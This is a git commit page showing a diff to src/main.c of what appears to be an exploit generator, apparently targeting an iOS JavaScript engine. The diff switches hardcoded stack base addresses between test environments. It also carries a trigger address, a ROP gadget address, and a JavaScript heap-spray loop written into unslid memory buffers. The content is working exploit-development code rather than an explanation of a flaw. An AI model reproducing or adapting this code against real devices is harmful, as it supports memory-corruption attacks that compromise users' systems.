summaryrefslogtreecommitdiff
path: root/src
diff options
context:
space:
mode:
authorspv <aquaticvegetable@gmail.com>2022-04-20 15:22:48 -0400
committerspv <aquaticvegetable@gmail.com>2022-04-20 15:22:48 -0400
commit6cc37a8aba5368bfe5e56725382268e517d96b03 (patch)
treecd60effe0a4a9585c4f98622fbede0d81a53322e /src
parent67d942f77c7c9a0967bacb0a69197641ce672d02 (diff)
function all the things
Diffstat (limited to 'src')
-rw-r--r--src/main.c18
1 files changed, 11 insertions, 7 deletions
diff --git a/src/main.c b/src/main.c
index b2f6d3f..7e93b73 100644
--- a/src/main.c
+++ b/src/main.c
@@ -173,10 +173,10 @@ int main(int argc,
fprintf(fp, "# - with love from spv <3\n");
fprintf(fp, "\n");
-// uint32_t stack_base = 0x1c7738; // my shell setup
+ uint32_t stack_base = 0x1c7738; // my shell setup
// uint32_t stack_base = 0x1c7c88; // my 4s shell setup
// uint32_t stack_base = 0x1c2e48; // my lldb
- uint32_t stack_base = 0x1c7d68; // btserver env
+// uint32_t stack_base = 0x1c7d68; // btserver env
uint32_t magic_trigger_addr = 0xb6074;
uint32_t mov_r0_0_bx_lr = 0x8d3e | 1;
@@ -365,18 +365,22 @@ int main(int argc,
writebuf_unslid(0x108000,
"var parent = new Uint8Array(0x100);"
"var child = new Uint8Array(0x100);"
- ""
- "function shitalloc() {"
" var fuck = new Array();"
" for (var i = 0; i < 0x800000; i++) {"
" fuck[i] = i;"
" }"
" delete fuck;"
- "}"
""
- "shitalloc();",
+ "//shitalloc();",
strlen("var parent = new Uint8Array(0x100);"
- "var child = new Uint8Array(0x100);") + 1));
+ "var child = new Uint8Array(0x100);"
+ " var fuck = new Array();"
+ " for (var i = 0; i < 0x800000; i++) {"
+ " fuck[i] = i;"
+ " }"
+ " delete fuck;"
+ ""
+ "//shitalloc();") + 1));
fprintf(fp,
"%s",
writebuf_unslid(0x10a000,